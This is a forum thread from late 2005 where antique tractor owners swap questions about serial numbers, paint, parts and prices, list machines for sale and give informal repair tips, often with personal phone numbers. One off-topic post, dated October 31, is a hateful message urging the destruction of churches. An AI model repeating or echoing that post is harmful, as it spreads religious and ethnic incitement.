Joe Stabler wrote on Thursday, December 22, 2005 (PST):I just purchased a Massey Ferguson Model TO35 Serial # sgm 191072. Can someone tell me what year the tractor is? And what is the dirfference between a Model 35 and Model TO35. I have always been a Farmall Fan and this is my first MF Thanks.
Cletie wrote on Thursday, December 22, 2005 (PST):i have a oliver 440 i am needing a fromt rim bad. Can anyone help?
Peggy wrote on Thursday, December 22, 2005 (PST):I am looking to sale my 800 Ford tractor what price range do I go for it is in good shape for as old as it is and it does run
Robert wrote on Wednesday, December 21, 2005 (PST):The tractor club I belong to has a 1917 Beaver-Lauson tractor. I realize the engine is the beaver part of the name. What I am trying to find out is the original colours the tractor would have been painted. The old girl runs great but we have not changed its antique rust colour as we do not know what colours to paint it. Also, any information on the availability of decals for it would be appreciated. Please email or answer through the forum.
Joe Hamilton wrote on Wednesday, December 21, 2005 (PST):I have a Case model C.The original color is Yellow on mine.I thought it may be a CI,but I understand that it would be marked on the serial tag.Mine has always been shedded,it is unstyled with flatspoke rubber tires and was used in a warehouse early on.Yellow paint is present in real hard to reach places and no gray paint is anywhere visible.I need a parts manual for it,and would like to find someone to restore it.I am in Texas.Thanks.903-826-4184
Joe Hamilton wrote on Wednesday, December 21, 2005 (PST):I have a Minneapolis Moline model BF single front tire model with the IXB Hurcules Engine and I need a reasonable priced water pump.I do not have a core.903-826-4184
Liela wrote on Wednesday, December 21, 2005 (PST):We have an Alice wd45 been in the family for many many years used to belong to my grandmother and in her later days my brother fixed it up some and used it for farm work and tractor pulls we have the original reciept from when she purchased it even. My brother takes great pride in Alice items but they are so hard to find if anyone has any isight on where to purchase mini tractors and other gear please let me know thank you !
virgil j. reinig wrote on Wednesday, December 21, 2005 (PST):i have 2 orignal 1952 model L A operators manual in very nice cond. will sell for 20.00 ea also have a 1956 600 dl manual very good cond. 20.00 can be reached by cell phone #260-437-6299 Virg
L. A. Lamb wrote on Wednesday, December 21, 2005 (PST):I have a UTU 1940 model just got it to run, almost have it restored...need tires on the rear 12x36 hard to find.......can't wait to drive it...it runs a little rough,but for a 65 year old tractor.i'm 68 and i run rough too lol
Svetislav wrote on Wednesday, December 21, 2005 (PST):Please information for tractors ferguson No. VNF 13617. Thank You !
LDK wrote on Tuesday, December 20, 2005 (PST):Am Interested in selling Titan 10-20 Tractor (s/n 57446 1920 Model. Has been stored inside and is completely original. Pictures available to serious inquires.
Philip in Arkansas wrote on Sunday, December 18, 2005 (PST):I recently purchased a 1939 AC B tractor. It purrs like a kitten,but needed body work and good paint job. I just finished this part of the restoration. It is now an awesome little tractor. I wonder what a fully restored, purrfectly running 1939 AC B would be worth? Any ideas?
Shannon From Iowa wrote on Sunday, December 18, 2005 (PST):I am Looking for a Manufacturer that Makes a Chrome Straight Stack for the MX Series Magnum Tractors. Lets face it the only thing better than a Red Tractor is Hearing a Red Tractor ROAR....!!!
dylan wrote on Sunday, December 18, 2005 (PST):fay gilliand you can go to any case IH dealer and ask them where you can get a rebuild kit but try ebay first rachelle you have a 1939 h but do you have x1,x2,or x3 andy you have a 1949 h but do you have a x1,x2,or x3
Don in Alberta wrote on Saturday, December 17, 2005 (PST):Just found this site today. Guess I really have the MM disease bad. I have12 of them.2 G's,8U's,3 Z's. One U is a Special and my "slow Racer" Steiner Tractor Parts,810-621-3000 have new maniflods and a few other parts. 38 inch tires are hard to find. Best to buy a parts tractor for other needed parts. Generators,starters and hydraulic pumps can be serviced almost any where.
jeremy F wrote on Saturday, December 17, 2005 (PST):I have a 1958 fordson super major 5000.Its been a great tractor so far. Ive rebuilt the whole top end including injectors. Im really needing to put a front end loader on it. does anyone know any loaders that will bolt up to it? Or does anyone have one that will fit around TX. I also want to add some hydraulic ports to the rear, but dont know where to start. anyone that could help pls e-mail. thanks
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
Stephen King wrote on Friday, December 16, 2005 (PST):I am looking for a complete, late model pto - clutch type for my 560 - are they hard to find, or am I not looking in the right place?
BRIAN wrote on Tuesday, December 13, 2005 (PST):I NEED CLUTCH PLATE FOR MY VC TRACTOR PLEASE HELP IN ANY WAY
BRIAN ROCH wrote on Tuesday, December 13, 2005 (PST):I NEED CLUTH PLATE FOR MY VC TRACTOR PLEASE HELP
Kevin Duskie wrote on Tuesday, December 13, 2005 (PST):I am looking for a Case 900 LP, that is restorable, preferably in Midwest (KS,MO,NE,CO) Thanks
Rick Janiszewski wrote on Tuesday, December 13, 2005 (PST):Is $1800.00 a good price for a 30? Not sure what year it is but it has hydraulics and it runs and doesn"t look too bad.
Dave (NE) wrote on Monday, December 12, 2005 (PST):Just acquired my first D17 last weekend. It is a series IV gas. The wiring for the lights is not working properly. Apparently some mice got in and chewed the wires last winter. Any ideas on how the wiring should run from the light switch to the fuse and on? It has been spiced back together, but is still not working. Thanks, Dave
DARRYL KRAUSE wrote on Sunday, December 11, 2005 (PST):Have a series 1 D-21 for sale Serial #1091 flatback with hydrolics,1900 hrs on rebuild,turbo,chrome grill,60%+18.4x34,air conditioning,fender skirts,no rust,spare hood.$4250.Call 360 815 6979 In Lynden,Wa.Have photo's
lance beber wrote on Sunday, December 11, 2005 (PST):hey sir, this is going to sound like a stupid question, but, where are the serial numbers, or how can i tell what kind of farmall tractor this is. My girlfriends dad has one, or his dad had it and died and it sat in a field for 3 years, I trying to find out what type it is and how much parts are so I can quit looking at it sit and rust and put it back to work or looking all shinny. If you could help me out please do so. Lance, p.s. it looks like the model B. Could you also help me out with some overhaul kits, engine, trans, hydrolics. thanks screwball_cracker at yahoo.com
jon wrote on Sunday, December 11, 2005 (PST):looking for a set of side panels for a pony tractor,and any information about what type of loader that you could get with them,and a lead on a diesel motor for a pony?
Warren Stendel wrote on Saturday, December 10, 2005 (PST):I have a cast iron seat that the word Russel is in cast letters part of the seat. Can any one tell me what tractor or implement this came from.
Matt Lamendola wrote on Thursday, December 08, 2005 (PST):i recently bought a rock island type"F" tractor to restore and it seems that the idler gear has been taken out of it. if you have a spare or if you know of someone that has one please contact me as soon as possible. thanks matt lamendola
jack white wrote on Tuesday, December 06, 2005 (PST):what kind of hitch did this tractor have for the plow? and do you or can you get me a picture of the hitch.
Tom Parrrett wrote on Tuesday, December 06, 2005 (PST):My grandfather was Dent Parrett, founder of several tractor companies. I am gathering info about him and his activities and would appreciate any help. I am especially interested in his work on Co-Op, Cockshutt, Wallis, Massey-Harris, Graham-Bradley and any other tractors. Tom Parrett, New York City
Harry Werth wrote on Tuesday, December 06, 2005 (PST):looking for rear wheel and rear rim for allis chalmers model G tractor. Are there any 7.2/30 good used tires any place ? Does anyone have front rim and cast wheel center and bearings and Rim clamps for Allis G for sale ?
Ken Foster wrote on Monday, December 05, 2005 (PST):I am restoring a 48 pony and need to know about decals, and colors for this tractor. Please send pictures or any information on this. Thank you in advance.
Rob Shuey wrote on Monday, December 05, 2005 (PST):I am looking to purchase a Sheppard Diesel SD-3 wide front tractor. In addition I am looking to purchase parts for a Sheppard Diesel SD-4 tractor.
Jim Broughton wrote on Friday, December 02, 2005 (PST):Tom D.; Type of oil sorta depends on what you did to your tractor...did you "rebuild it with all new parts? If so, any of the detergent oils, such as 10/30 etc will work just fine. If only you got it running with the original engine, then stick to a non-detergent oil, such as a standard 30 wt or 40 wt, depending on clearances on the main and rod bearings. Also, it's a good idea to use a gasoline additive with lead in it to ease the wear on those original valves. These engines aren't exactly "high-tech" so treat her with respect !! Lotsa luck !! Jim
fran vanderweyst wrote on Friday, December 02, 2005 (PST):a freind o mine has a co-op #4 for sale, it's in really good shape repainted about 6 yrs. ago. any buyers please contact me 12/2/05
Floyd wrote on Wednesday, November 30, 2005 (PST):Want To trade A 1939 Ford 9-nTractor with High and Low 3speed for a larger Tractor. Prefer a eide front with 3 point hitch. It is very good shape. I used it all the time. With in 100 miles. Can call me or E-mail 740-384-4323 bdsass at ohiohills.com
Mark Olinyk wrote on Wednesday, November 30, 2005 (PST):I am looking to purchase a D 17 series IV. Narrow front, power steering. I think that the one that we had when I was a boy also had an ivory colored steering wheel. I will pay a premium for this tractor in excellent condition. Thanks to all.
Tom Parrett wrote on Wednesday, November 30, 2005 (PST):I just bought the service manual for the 4wd GP. It is pictured with steel wheels. the booklet is not dated but says Service Form 51. If anybody wants a copy, let me know.
Van Robinson wrote on Wednesday, November 30, 2005 (PST):Millie, your tractor would have been built in 1949,1950, or 1951. Production of this model ran from 1949 to 1953.
Robert Godwin wrote on Tuesday, November 29, 2005 (PST):I have a 1942 M that I am trying to sell with no luck. It has been repainted and decalled last spring, I am asking $2,300.00 for it. Is this to high? I also have a super MTA I would like to sell as well, any suggestions on pricing would be a big help.
Jim Broughton wrote on Monday, November 28, 2005 (PST): To; John Borja, Depends on how old your "A" tractor is...if it is late enough to have the "fast-tach" style of hitch, then most Cub implements will fit.If it is the old "Drawbar" type.. then it's a "maybe"!! Lots of luck, Jim
Floyd Sass wrote on Sunday, November 27, 2005 (PST):Want to trade a 1939 Ford 9n tractor with high and low 3 speed for A larger tractor. Prefer a wide front with 3 point hitch. It is in very good shape. I used it all the time. I wold like it to be withen 100 miles. call me at 740-384-4323 orE-mail bdsass at ohiohills.com
Doug Reachard wrote on Sunday, November 27, 2005 (PST):If anyone is interested in puting a V8 60HP in your 2N-8N-9N Series tractor contact me for the adapter. 307-587-4010 rdreachard at wtp.net
carl bess wrote on Saturday, November 26, 2005 (PST):I saw you picture of the Allis Chalmers WC and was replying that is own one. The WC that i have is my fathers which he owned and farmed with this tractor up until 1958. He kept this tractor around just for his garden and give this tractor to me a few years ago. My son and i are planning on restoring this tractor in the next couple of years
charles sanderson wrote on Saturday, November 26, 2005 (PST):i would like to buy a allis chalmers crawler tractor model k with a steering wheel and a baker blade. any condition.if you know of one or have one available, please write, thanks, charlie
charles sanderson wrote on Saturday, November 26, 2005 (PST):i would like to buy a allis chalmers crawler tractor model k with a steering wheel and a baker blade. any condition.if you know of one or have one available, please write, thanks, charlie
Mark Seidl wrote on Saturday, November 26, 2005 (PST):looking to buy a JD "H" that doesnt run. want to restore one as this was the first tractor i ever drove. will pay up to $1000. thank you 920-901-2679.
Mark Seidl wrote on Saturday, November 26, 2005 (PST):looking to buy a JD "H" that doesnt run. want to restore one as this was the first tractor i ever drove. will pay up to $1000. thank you 920-901-2679
Marvin Venter wrote on Saturday, November 26, 2005 (PST):I have two LA Cases that ran fine the last time I had the time to start them. I live near Madras, Or. and would welcome offers. What power they have for a 60 h.p. rated tractor. I purchased them from a old timer for yarding juniper trees. Call 541-475-6527
George Weikum wrote on Friday, November 25, 2005 (PST): I'm interested in a 80Standard, 820 or 830. I live in Illinois and want a clean machine that is in great shape. 630-878-9401.
Michael Myers wrote on Thursday, November 24, 2005 (PST):I am researching this tractor for my father. My grandfather ecently pat away and gave my father a leader tractor. All I know is that it is red with no fenders like the one picture on this page. I will get more infomation and will have questions about parts and where to get them. thanks,
Julie Burt wrote on Thursday, November 24, 2005 (PST):Yes I still have the tractor. I am in Michigan. Just for clarification, this tractor is on rubber, the rear rims are spoked. It was my Dads.
Aaron T. wrote on Sunday, November 20, 2005 (PST):I am looking for a hood for an F-12. Trying to fix up grandpa's tractor but it looks like grandpa lost the hood! Thanks.
Joyce Taylor wrote on Sunday, November 20, 2005 (PST): I have been pulling a g jd for 4 years. have given other brands a run for thier money. really enjoy beating the guys its an 1938 unstiled. thanks black widow
Yves Blondin wrote on Sunday, November 20, 2005 (PST):Iwant buy this model but i dont know how many pound he as. Do you know how many pound as this tractor Internationa W4. I am sorry, i dont speak english very well. Thank you.
dave wrote on Saturday, November 19, 2005 (PST):Hi everyone........I just bought my first gray tractor.....says ferguson on the front grill......but have no idea when to find model and serial number......i don't have a clue about this..... finddavenow at hotmail.com
Carl Schmidt wrote on Friday, November 18, 2005 (PST):I'm seeking information on what type of transmission and hydraulic oils to use in my TO20 Ferguson Tractor. I don't have a manual to refer to. Your advice is appreciated!
Ruth-Ann wrote on Friday, November 18, 2005 (PST):We're having a problem with our Pony's electrical system on the tractor we're restoring. It's the original generator and starter and has a new battery, but it's draining the battery. The manual we purchased doesn't address this issue. Does anyone have any suggestions/solutions/tips for us? Thank you in advance.
560 d with turbo wrote on Friday, November 18, 2005 (PST):a buddy and me pull a 560 d with a turbo. it will put out 160 hp. it has a pulling cluch and ta. it also has 18.4 38 on the back. we care 4400 lb extera around for the 560. i also pull a 1466. i have a total of 9000 extera lb for the to tractors. in IH trust
david mcintire wrote on Thursday, November 17, 2005 (PST):does anyone know the location of the 0ne millionth tractor produced by ih at rock island, illinois
nicolas wrote on Wednesday, November 16, 2005 (PST):I am spanish. my father had one 1466.IH for my was the best tractor that I saw. now we have mx 255, mx 135,one valtra, IH 1455 german tractor and very hard tractor, now will have 18,000 hours.
HOMER JENNINGS wrote on Tuesday, November 15, 2005 (PST):we would like to know the original color of a 1947 BF AVERY V THANK YOU H.J.
Lisa wrote on Monday, November 14, 2005 (PST):Who built the allis chalmer square hay baler?? It apparently was built by someone other than A.C..
Luke wrote on Sunday, November 13, 2005 (PST):I have 1953 with many attachments. I love it,it works wonderfully
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
Mervyn Spencer wrote on Sunday, November 13, 2005 (PST):A friend of mine has a Case VAC or VAI, unfortunately there are no serial or engine numbers. Is it possible to date usig the two casting numbers as with the International and Fordson tractors? Regards Mervyn Spencer
Kevin Hayman wrote on Saturday, November 12, 2005 (PST):I am looking for a set of cab doors for a allis chalmers Model D grader any info greatly appreciated.
Keith Sagehorn wrote on Saturday, November 12, 2005 (PST):I would like to find the 1959 case 900 Diesel I grew up on It had big rubber(23.1x26) and the last I knew it had an Egging cab on it. If anyone knows of one like this please e-mail The tractor was from NE Colorado Thanks.
Chris edy wrote on Friday, November 11, 2005 (PST):Hi Can somone that knows about the T20 let me know how hard it is to get parts for a T20 Engine rebuild parts Engins track parts Thank you
Jerry wrote on Friday, November 11, 2005 (PST):Have Massey Harris Pony tractor, complete and original. Engine totally rebuilt, thanks to this website. Will sell, or trade for old Dodge or Diamond-T pick-up truck.
Dave Bays wrote on Thursday, November 10, 2005 (PST):I have a 1955 Super 55 Oliver diesel tractor with Green wheels and a rear remote. The tractor is in average condition and can be purchased for 3500.00 If interested call cell # (765) 265-3925 and leave message
Dave Bays wrote on Thursday, November 10, 2005 (PST):We just traded for a 1951 VAO in above average condition. Asking $4995.00 for it. Will send pictures to any interested parties. Tractor has recently been painted and has live hydraulics with the eagle hitch and two bottom plow. Must see and drive to appreciate.
Kerry Steffens wrote on Thursday, November 10, 2005 (PST):To T. Roger on your rough running 1960 D17. Mine runs rough also at times. Try using a good lead substitution additive and Marvel Mystery Oil to every tank of gas. If it smoothes out after a tank full continue using it until the next overhaul and replace with modern valves and guides. If this doesn’t affect it, then rebuild the centrifugal advance behind the points in the distributor housing and see if that doesn’t help a bit. Also I use a good multi-viscously oil while using the tractor on light loads. It seems to keep it a bit cleaner. Remember to change the oil to 30 wt summer and 20 wt winter if you have it in regular service. Hope this if of help.
George Schwartz wrote on Thursday, November 10, 2005 (PST):I need a manual for a inc 460 dsl with a wagner loader-backhoe. If you know of one please reply
Carol Morris wrote on Wednesday, November 09, 2005 (PST):I have an Oliver Super 44 tractor. It runs great and has all origional parts. I am interested in selling it.
Ronald McCormick wrote on Wednesday, November 09, 2005 (PST):I have a DC Case tractor with the serial#8029395 narrow front end. can anyone help me find more info on this tractor.The tractor still runs and looks great.Just can't find any info. on it.Maybe I'm not looking at the right numbers but our local Case dealer says I am. HELP!!!!
danny thompson wrote on Tuesday, November 08, 2005 (PST):I was given a 1956 Oliver Super 77 diesel. It is a row crop, but it has only one steering tire. All the pictures I see are of Super 77's is two steering wheels. Can anyone let me know if this is odd or what? I am not a farmer, but I like this tractor. It also has 3 point hitch, live pto and a bracket bolted to the front for what what would seem to be for a bucket or other implement. I also need a starter,injection pump and lines ,1 connecting rod and an oil pan. e-mail me with what you have. thanks.
curtis cansler wrote on Tuesday, November 08, 2005 (PST):I JUST GOT A MH TRACTOR. BUT I DONT KNOW WHAT YEAR IT IS OR ANYTHING BESIDES IT'S A 4 CYL GAS ENGINE WITH ROW CROP FRONT END. TAG ON LEFT SIDE OF FRAME SAYS 44GR9670. ANY HELP WOULD BE APPRECIATED.
Brian Wilcox wrote on Tuesday, November 08, 2005 (PST):Am looking for an M&M "V" tractor to restore. If you can help please E-mail me. Thank's
mark ontariohancock wrote on Tuesday, November 08, 2005 (PST):i bought a 1959 44. they are an excellent tractor and i have never had a problem with it and hope to get many more years out of it.i had a problem with the engine seals always leaking and the reverse gear wearingout evry year
Dominic Derricks wrote on Monday, November 07, 2005 (PST):I need a series 2, preferably running, and in upper midwest please get back to me.
Bob wrote on Monday, November 07, 2005 (PST):My brother in law has a 41 case vc, he has restored it back to new but needs the right lights that mount on the fenders. Anyone have or know where to get these? Also there is a spring loaded valve on the pto case, anyone know what this is for? Thanks.
Doug Immoos wrote on Sunday, November 06, 2005 (PST):I have a 30's T-20 and I am getting ready to pull the head off. I would like to find a gasket set before I do. If anyone knows where I can get one, please let me know. Or maybe another motor, this one has frozen up on me. Thank you.
tony bruno wrote on Sunday, November 06, 2005 (PST):I had recently bought my first ford diesal farm tractor with a front end loader; three forward speeds with one reverse manual shift; two glo plugs on on side of engine with 4 tubes goinginto the other side of the engine....I have tons of numbers but dont know what they mean...my main idea is to get the correct make, model and year of this tractor which will hopefully lead to horse power and other good things like what kind of power steering fluid to use...oil to use etc thanks all tonyb
Mike Milnor wrote on Saturday, November 05, 2005 (PST):I have a 1948 G that my dad bought in the early 70's. He recently gave it to me and I have been using it quite alot. I would love to find a belly mower for it, but thus far have been unable to find any information about what type will fit it. I would appreciate anyone with information please letting me know, I would love to use this little tractor to help mow our 4 acres of grass!!
Nick bishop wrote on Saturday, November 05, 2005 (PST):I am 12 I have driven 2 h's I think there a grate tractor
greg black wrote on Wednesday, November 02, 2005 (PST):carrie i found a used block in a junk yard in missouri can't remember name look under tractor salvage in this state
Bran Marian wrote on Wednesday, November 02, 2005 (PST):I am Bran Marian From romania I am selling a gas engine made in germany in 1900 by ,,Deutz" company.The engine was brought by some rellatives in 1905 in village ,,putineiu".He was brought by my grand grand father who was on germany in those years.The engine remainned owers until today.I am looking to sell the gas engine..I even have some pictures thit my grand=grand father and his engine.In case that you want to buy it the transport is made by the buyer . The price is 5000 euro.You can contact me anytime. My number is ;(004)(0247)415132.You can call me everyday betwen 15;00 and 21;00 o'clock The engine is 100% functionable.My asurence is that it has no missing parts,he is 100% complete.It's in good shape.you only have to put oil between the mechanism.If you want to buy it please give me you details about your country and adress and all soo we make the deal,and the date when you send the transport to my country.(i am looking to sell it in maximum two weeks because i dont want the winter to chatch me without selling it) Waiting for your reply. Whit all the respect,Bran Marian From Romania
Phil wrote on Tuesday, November 01, 2005 (PST):A friend of mine has a ford 600 tractor I think 1955. When he turns the key the starter motor turns fast but does not engage with the engine? Any tips would be great
greg black wrote on Monday, October 31, 2005 (PST):I HAVE A 60 JD RUNS GOOD PLPULLS GOOD HAS POWER STEERING AND THREE POINT HITCH WANTING TO KNOW IF HYD. WILL OPERATE A FRONT END LOADER
greg black wrote on Monday, October 31, 2005 (PST):I have a 240U IH looking for a front end loader that will fit it i live in mississippi
daniel wrote on Monday, October 31, 2005 (PST):I need to know if i can run remote hyd on this 541 that i have . Any one have any info
ahmed ablunysta wrote on Monday, October 31, 2005 (PST):Destroy tractors, all england needs are mosques.A good job for tractors would be to destroy existing churches, where future mosques will be.Indians will rule the country!
decatur overby wrote on Sunday, October 30, 2005 (PST):I need an oil pan for a 59 Oliver 550 gas.....
Joe Koenig (jonak) wrote on Sunday, October 30, 2005 (PST):I am among the owners of a JD 2010.I need two 600 or 6;50X14 front three rib tires. So far I cannot find a 14" rib tire at any company, Any help out there? And, Thank you ahead of time. Joe Koenig
Kris Robinson wrote on Saturday, October 29, 2005 (PDT):Have 43 Vai, looking for information and photos of restored used on a US air force base to mow, What color would this have been, I also see that it has Veterans Administration decals with some kind of Badge on the side panels. I am looking for a picture of one restored or even with the sickle bar mower it originally had on it, now it has a belly mower rigged to the bottom running off of the PTO. Any information anybody knows would be very helpful in me restoring this tractor to original, thanks.
kevin wrote on Saturday, October 29, 2005 (PDT):wanted step by step instruction for rebuild of tsv 24 carb for massey harris pony tractor. Have new kit but no instructions. My carb is missing most off these rings and packing
Duane Kline wrote on Friday, October 28, 2005 (PDT):I am restoring a 220 AC and am almost finished. Northside tractor was a great help! I still need a draw bar and a sway block for the left side?
Rick Barone wrote on Friday, October 28, 2005 (PDT):Hello all! I have a 1947(?) Leader D. Someone butchered the radiator grill, and I'm looking for another. Any leads? Also looking for info on rebuilding the starter. Any idea who would have parts for these?
roger wrote on Friday, October 28, 2005 (PDT):how did the B differ from the BN what does the N stand for
Loren Rausch wrote on Thursday, October 27, 2005 (PDT):I have 2 39 F-20s. One has been housed throughout its life, the second not which I just bought. I have an owners manual for it, very useful!! V-fan belts indicates that they are both 39s. I used the best 20 for pulling wood wagons, making fence and for nursery work as I have an add-on toolbox. The governor real responds well under load and it has a road gear infront on the transmission and really hauls tail!! Faster than my 3020!! My other 20 I just bought and is froze up. I have removed the valve cover and Liquid Wrenched the springs up and under, and the pushrods. Also did the spark plug holes after taking out plugs. Parked my JD 3020 parallel to it and engaged the crank on the 20 and rapped a chain around it and a "come along" to the end of the chain and to the 3020 frame and applied some pressure and holding now for the Marvel Mystery oil& Liquid Wrench to work. This 20 needs a fan shroud, a toolbox under the tank and the motor freed up & tires. Drawbar shows very little wear. On the hood on top by the radiator cap is a bracket that looks like it had a generator attached to it. Also the belt pulley on the crankshaft has 2 slots--one for the v fan belt and the other apparently for the generator that used to be there. This one also has the mag missing but I got one--the right one to go on. If it turns out as good as my good one gosh I'd be happy. Anybody got a fanshroud and a tool box that is relatively decent?? Algoma, WI
Doug Newhouse wrote on Wednesday, October 26, 2005 (PDT):I am looking for a D21 in any condition, preferably in Wisconsin or midwest. I would consider anything available in the lower 48.
john cooper wrote on Wednesday, October 26, 2005 (PDT):I purchased a IH H model, serial # FBH 256747X1B. Can anyone tell me what year it is, or how I can find the answer. Thanks.
Roy L. Vincent wrote on Tuesday, October 25, 2005 (PDT):I am from the Rice country of southwest Louisiana. As a kid I use to ride one of these R's during the Thanksgiving week off from school pulling a 4 bottom 14" plow. By the time I was 12 I was driving the old R and my dad was driving a new 820 model. Long story short I spent many hours on one of these good old work horses. Down in the country where I am from you just don't see these anymore. However , I am seriously considering trying to purchase one of these old tractors and try my hand at restoring one and using it on my farm up in North East Texas around the Mt Pleasant Texas area. If anyone has one of these tractors I am interested in locating and buying one, please contact me at my email address I have provided. Thanks for your time reading this note.
Irene Lee wrote on Tuesday, October 25, 2005 (PDT):My husband has a LA Case not sure of the rest of numbers it belonged to his father do not know much of the history. Would like to restore to original need help to figure this tractor out. Any help would be great. Color decals etc. Thanks
gareth wrote on Tuesday, October 25, 2005 (PDT):i need petrol/tvo tap can you help please gareth wales...
Daniel Oakes wrote on Monday, October 24, 2005 (PDT):I think I have a tractor like this but I cant find the serial number anywere on the web it is TO58467
Paula wrote on Monday, October 24, 2005 (PDT): We have an 1965 Oliver 1855 for sale. 4x4, Power Steering,Diesel, A/C cab. Great tractor for pulling.
J buchanan wrote on Sunday, October 23, 2005 (PDT):I HAVE ECCENTLY BOUGHT A FERGUSON TO-35 I LIKE TO SELL IT ITS RUN GOOD IT HAS NO GREEL IT HAS A DISK ANDA BOX EMAIL WITH OFFER THANK YOU JB
J buchanan wrote on Sunday, October 23, 2005 (PDT):I HAVE ECCENTLY BOUGHT A FERGUSON TO-35 I LIKE TO SELL IT ITS RUN GOOD IT HAS NO GREEL IT HAS A DISK ANDA BOX EMAIL WITH OFFER THANK YOU JB
buzz m wrote on Thursday, October 20, 2005 (PDT):I just bought an oliver 550,previous owner had gas eng. rebuilt then broke trans gears.i am in the process of replacing all bad gears,seals,bearings,etc.i also put in all new pto clutch disc,next i'll redo the front axle. smitty's tractor in ohio had all the new and excellent used parts i needed .i have his # if anyone wants it.
buzz m wrote on Thursday, October 20, 2005 (PDT):I just bought an oliver 550,previous owner had gas eng. rebuilt then broke trans gears.i am in the process of replacing all bad gears,seals,bearings,etc.i also put in all new pto clutch disc,next i'll redo the front axle. smitty's tractor in ohio had all the new and excellent used parts i needed .i have his # if anyone wants it.
Steve Culver wrote on Thursday, October 20, 2005 (PDT):I'm looking for a "dirt plate" attachment for an International manure bucket. This unit slips over the front forks of the bucket. I'm using this International loader on my IH 350 High-Utility. I'm located in mid-Michigan. I'm hoping to find one within reasonable driving distance.
Dwayne Cox wrote on Wednesday, October 19, 2005 (PDT):if cant find head might trade or sell tractor has new radiator and engine gasket set .has wide front end. and loader ph. 606 287 1581
dwayne cox wrote on Wednesday, October 19, 2005 (PDT):i need a head for 1957 allis chalmers wd45 gas. ph.606 287 1581
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):Just listed a question above about a McCormick Deering Farmall T10 548 4 Did not know if I had to write my e mail wrestlersds at bright.net sorry for the mess up Thanks again if anyone can help with information about this tractor.
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):We have a McCormick Deering Farmall we think is in a Titan. We need information It is Gray on steel wheels with the number T10 548 4. We would like to know year, paint codes and any other information we can get. Please E Mail us if you have any information on this tractor. Thanks for your help.
Don Stevens wrote on Wednesday, October 19, 2005 (PDT):We have a McCormick Deering Farmall we think is in a Titan. We need information It is Gray on steel wheels with the number T10 548 4. We would like to know year, paint codes and any other information we can get. Please E Mail us if you have any information on this tractor. Thanks for your help.
Gary Lay wrote on Wednesday, October 19, 2005 (PDT):I am in need of the brackets for the track idler on my 1938 Model M Crawler. Any ideas or suggestions?
Terry E. Phillips wrote on Tuesday, October 18, 2005 (PDT):I remember when my brother and I drove this brand new tractor home to the farm. We spent many thousands of hours on it, ruining our hearing in the process, of course. We overhauled the 3 cylinder Jimmy engine several times and replaced the transmission and differential because they were not designed for the additional power of the engine. The Donaldson oil bath air cleaners were just not enough to keep the fine western Kansas dust out of the engine.
myke meiners wrote on Tuesday, October 18, 2005 (PDT):I just bought a case 190 garden tractor in basket it had broken axel I fixed now I need the cluster gears. If anyone knows where I get one I would sure be abliged to have them let me know
Josh Stern wrote on Tuesday, October 18, 2005 (PDT):I'm finally getting started on restoring my 1938 F-14. I heard it was only made 2 years, is this true? Also, anyone know where I can get rims and tires that are reasonable? (New Hampshire)
Bob Soper wrote on Monday, October 17, 2005 (PDT):Have a chance to buy D17 - unspecified year, have yet to get serial number. Problem with water in the oil pan. Seems to be when tractor is sitting for a period of time. Any ideas? O rings around sleeves? Cracked block? head gasket? Are any of these problems common to the D17 4 cylinder gas?
Dave (NE) wrote on Monday, October 17, 2005 (PDT):Well, you are correct, Allis did make a grader as you describe. I've seen them at shows and pictures of them. Where to get on, is another question. I have seen them for sale, but not very often.
